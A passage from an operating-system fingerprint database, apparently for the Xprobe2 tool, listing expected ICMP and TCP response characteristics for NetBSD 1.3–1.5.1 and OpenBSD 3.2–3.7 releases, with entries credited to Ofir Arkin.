tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.5.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 06 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 06 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.4.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 July 2003 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.4.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 July 2003 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.4.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 July 2003 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 July 2003 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.3.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 July 2003 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = 0 icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.3.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 July 2003 #Modified: 12 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = 0 icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.3.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 July 2003 #Modified: 12 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = 0 icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 July 2003 #Modified: 12 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = 0 icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } #OpenBSD fingerprint { OS_ID = "OpenBSD 3.7" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 15 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 3.6" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 15 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 3.5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 3.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 3.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 07 June 2003 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = <20 icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP NOP SACK NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = R tcp_rst_ttl = <64 } fingerprint { OS_ID = "OpenBSD 3.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 06 April 2003 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y 